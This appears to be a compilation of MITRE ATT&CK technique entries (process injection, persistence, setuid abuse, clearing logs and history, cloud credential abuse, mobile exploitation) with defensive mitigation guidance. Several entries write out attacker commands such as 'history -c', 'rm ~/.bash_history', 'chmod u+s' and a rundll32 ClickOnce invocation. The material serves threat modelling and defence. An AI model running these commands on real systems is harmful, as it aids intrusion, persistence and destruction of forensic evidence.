ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items. Information about an application's list-view settings are stored within the process' memory in a `SysListView32` control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the `SysListView32` child of the victim process window (via Windows API calls such as `FindWindow` and/or `EnumWindows`) or other Process Injection methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored `WriteProcessMemory` function. For example, an adversary can use the `PostMessage` and/or `SendMessage` API functions to send `LVM_SETITEMPOSITION` and `LVM_GETITEMPOSITION` messages, effectively copying a payload 2 bytes at a time to the allocated memory.\n\nFinally, the payload is triggered by sending the `LVM_SORTITEMS` message to the `SysListView32` child of the process window, with the payload within the newly allocated buffer passed and executed as the `ListView_SortItems` callback.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n\n## Network Segmentation\nArchitect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. For example, in IEC 62443, systems within the same secure level should be grouped into a zone, and access to that zone is restricted by a conduit, or mechanism to restrict data flows between zones by segmenting the network.\n\n## Filter Network Traffic\nUse network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations. Application denylists may be needed if all acceptable communication sequences cannot be defined, but instead a set of known malicious uses can be denied (e.g., excessive communication attempts, shutdown messages, invalid commands). Devices performing these functions are often referred to as deep-packet inspection (DPI) firewalls, context-aware firewalls, or firewalls blocking specific automation/SCADA protocol aware firewalls.\n\n## Software Process and Device Authentication\nRequire the authentication of devices and software processes where appropriate.

ClickOnce is a deployment that enables a user to create self-updating Windows-based.NET applications (i.e,.XBAP,.EXE, or.DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the.NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.\n\nAdversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1127 Trusted Developer Utilities Proxy Execution - Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads.

Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.

They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1583 Acquire Infrastructure - Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting.

During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1583 Acquire Infrastructure - Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting.

There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1583 Acquire Infrastructure - Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting.

Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1583 Acquire Infrastructure - Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting.

Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods.

XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with Masquerading to blend malicious Autostart entries with legitimate programs.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

[…]\n\n## Reference: ATT&CK T1548.001 Setuid and Setgid\n**ATT&CK T1548.001 Setuid and Setgid (full record).** An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac Permissions). The `chmod` command can set these bits with bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`. This will enable the setuid bit. To enable the setgid bit, `chmod 2775` and `chmod g+s` can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via `ls -l`. The `find` command can also be used to search for such files.

Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion.\n\nThese actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations.

Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (`history -c`) or deleting the bash history file `rm ~/.bash_history`.\n\nAdversaries may also leverage a Network Device CLI on network devices to clear command history data (`clear logging` and/or `clear history`). On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the `PSReadLine` module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe `PSReadLine` command history tracks the commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt` by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.\n\nAdversaries may run the PowerShell command `Clear-History` to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the `ConsoleHost_history.txt` file. Adversaries may also delete the `ConsoleHost_history.txt` file or edit its contents to hide PowerShell commands they have run. […]\n\n## Reference: ATT&CK T1070.007 Clear Network Connection History and Configurations\n**ATT&CK T1070.007 Clear Network Connection History and Configurations (full record).** Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\n\n* `HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default`\n* `HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers`\n\nWindows may also store information about recent RDP connections in files such as `C:\\Users\\\\%username%\\Documents\\Default.rdp` and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy.

Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.\n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1098.001 Additional Cloud Credentials: Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n- T1098.002 Additional Email Delegate Permissions: Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.\n- T1098.003 Additional Cloud Roles: An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant.\n- T1098.005 Device Registration: Adversaries may register a device to an adversary-controlled account.\n- T1098.006 Additional Container Cluster Roles: An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system.\n- T1098.004 SSH Authorized Keys: Adversaries may modify the SSH `authorized_keys` file to maintain persistence on a victim host.\n- T1098.007 Additional Local or Domain Groups: An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. […]\n\n## Reference: ATT&CK T1098.001 Additional Cloud Credentials\n**ATT&CK T1098.001 Additional Cloud Credentials (full record).** Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID. These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the `CreateKeyPair` or `ImportKeyPair` API in AWS or the `gcloud compute os-login ssh-keys add` command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the `CreateAccessKey` API in AWS or the `gcloud iam service-accounts keys create` command in GCP to add access keys to an account. Alternatively, they may use the `CreateLoginProfile` API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.\n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.

In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n\n## Filter Network Traffic\nUse network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols.

Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, \"pig butchering,\" bank hacking, and exploiting cryptocurrency networks.\n\nAdversaries may Compromise Accounts to conduct unauthorized transfers of funds. In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary. This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary. Adversaries may use dedicated leak sites to distribute victim data.\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.\n\n**Classification.** - Tactics: impact\n- Platforms: Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1658 Exploitation for Client Execution\n**ATT&CK T1658 Exploitation for Client Execution (full record).** Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nAdversaries may use device-based zero-click exploits for code execution. These exploits are powerful because there is no user interaction required for code execution.\n\n**SMS/iMessage Delivery.** SMS and iMessage in iOS are common targets through Drive-By Compromise, Phishing, etc. Adversaries may use embed malicious links, files, etc. in SMS messages or iMessages. Mobile devices may be compromised through one-click exploits, where the victim must interact with a text message, or zero-click exploits, where no user interaction is required.\n\n**AirDrop.** Unique to iOS, AirDrop is a network protocol that allows iOS users to transfer files between iOS devices. Before patches from Apple were released, on iOS 13.4 and earlier, adversaries may force the Apple Wireless Direct Link (AWDL) interface to activate, then exploit a buffer overflow to gain access to the device and run as root without interaction from the user.\n\n**Classification.** - Tactics: execution\n- Platforms: Android, iOS\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n- **Security Updates**: Install security updates in response to discovered vulnerabilities.\n\n**Detection strategies and analytics.** - **Detection of Exploitation for Client Execution**\n  - For Android, detect Exploitation for Client Execution by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

This mitigation can be implemented through the following measures:\n\nProactive Identification of Vulnerabilities\n\n- Implementation: Use tools like Nessus or OpenVAS to scan endpoints, servers, and applications for missing patches and configuration issues. Schedule regular scans to ensure timely identification of vulnerabilities introduced by new deployments or updates.\n- Use Case: A scan identifies unpatched software, such as outdated Apache servers, which could be exploited via CVE-XXXX-XXXX. The server is promptly patched, mitigating the risk.\n\nCloud Environment Scanning\n\n- Implementation: Use cloud-specific vulnerability management tools like AWS Inspector, Azure Security Center, or GCP Security Command Center to identify issues like open S3 buckets or overly permissive IAM roles.\n- Use Case: The scan detects a misconfigured S3 bucket with public read access, which is remediated to prevent potential data leakage.\n\nNetwork Device Scanning\n\n- Implementation: Use tools to scan network devices for vulnerabilities, such as weak SNMP strings or outdated firmware. Correlate scan results with vendor advisories to prioritize updates.\n- Use Case: Scanning detects a router running outdated firmware vulnerable to CVE-XXXX-YYYY. The firmware is updated to a secure version.\n\nWeb Application Scanning\n\n- Implementation: Use dynamic application security testing (DAST) tools such as OWASP ZAP or Burp Suite to scan for common vulnerabilities like SQL injection or cross-site scripting (XSS).

[…]\n\n## Reference: ATT&CK T1638 Adversary-in-the-Middle\n**ATT&CK T1638 Adversary-in-the-Middle (full record).** Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as Transmitted Data Manipulation or Endpoint Denial of Service.\n\nAdversary-in-the-Middle can be achieved through several mechanisms. For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic.\n\nSpecific to Android devices, adversary-in-the-disk is a type of AiTM attack where adversaries monitor and manipulate data that is exchanged between applications and external storage. To accomplish this, a malicious application firsts requests for access to multimedia files on the device (`READ_EXTERNAL STORAGE` and `WRITE_EXTERNAL_STORAGE`), then the application reads data on the device and/or writes malware to the device. Though the request for access is common, when used maliciously, adversaries may access files and other sensitive data due to abusing the permission. Multiple applications were shown to be vulnerable against this attack; however, scrutiny of permissions and input validations may mitigate this attack.\n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as ARP Cache Poisoning or DHCP Spoofing.\n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple’s Application Transport Security (ATS) and Android’s Network Security Configuration (NSC) may prevent sensitive data leaks.

Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n\n**Detection strategies and analytics.** - **Detection of Exploitation of Remote Services**\n  - For Android, detect Exploitation of Remote Services by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n\nAudit and Restrict Access:\n\n- Regularly audit permissions for file shares, network services, and remote access tools.\n- Remove unnecessary access and enforce least privilege principles for users and services.\n- Use Active Directory and IAM tools to restrict access based on roles and attributes.\n\nDeploy Secure Remote Access Solutions:\n\n- Use RDP gateways, VPN concentrators, and ZTNA solutions to aggregate and secure remote access connections.\n- Configure access controls to restrict connections based on time, device, and user identity.\n- Enforce MFA for all remote access mechanisms.\n\nDisable Unnecessary Services:\n\n- Identify running services using tools like netstat (Windows/Linux) or Nmap.\n- Disable unused services, such as Telnet, FTP, and legacy SMB, to reduce the attack surface.\n- Use firewall rules to block traffic on unused ports and protocols.\n\nNetwork Segmentation and Isolation:\n\n- Use VLANs, firewalls, or micro-segmentation to isolate critical network resources from general access.\n- Restrict communication between subnets to prevent lateral movement.\n\nMonitor and Log Access:\n\n- Monitor access attempts to file shares, RDP, and remote network resources using SIEM tools.\n- Enable auditing and logging for successful and failed attempts to access restricted resources.\n\n*Tools for Implementation*\n\nFile Share Management:\n\n- Microsoft Active Directory Group Policies\n- Samba (Linux/Unix file share management)\n- AccessEnum (Windows access auditing tool)\n\nSecure Remote Access:\n\n- Microsoft Remote Desktop Gateway\n- Apache Guacamole (open-source RDP/VNC gateway)\n- Zero Trust solutions: Tailscale, Cloudflare Zero Trust\n\nService and Protocol Hardening:\n\n- Nmap or Nessus for network service discovery\n- Windows Group Policy Editor for disabling SMBv1, Telnet, and legacy protocols\n- iptables or firewalld (Linux) for blocking unnecessary traffic\n\nNetwork Segmentation:\n\n- pfSense for open-source network isolation\n\n## Audit\nAuditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## User Account Management\nUser Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## Disable or Remove Feature or Program\nDisable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Multi-factor Authentication\nMulti-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or 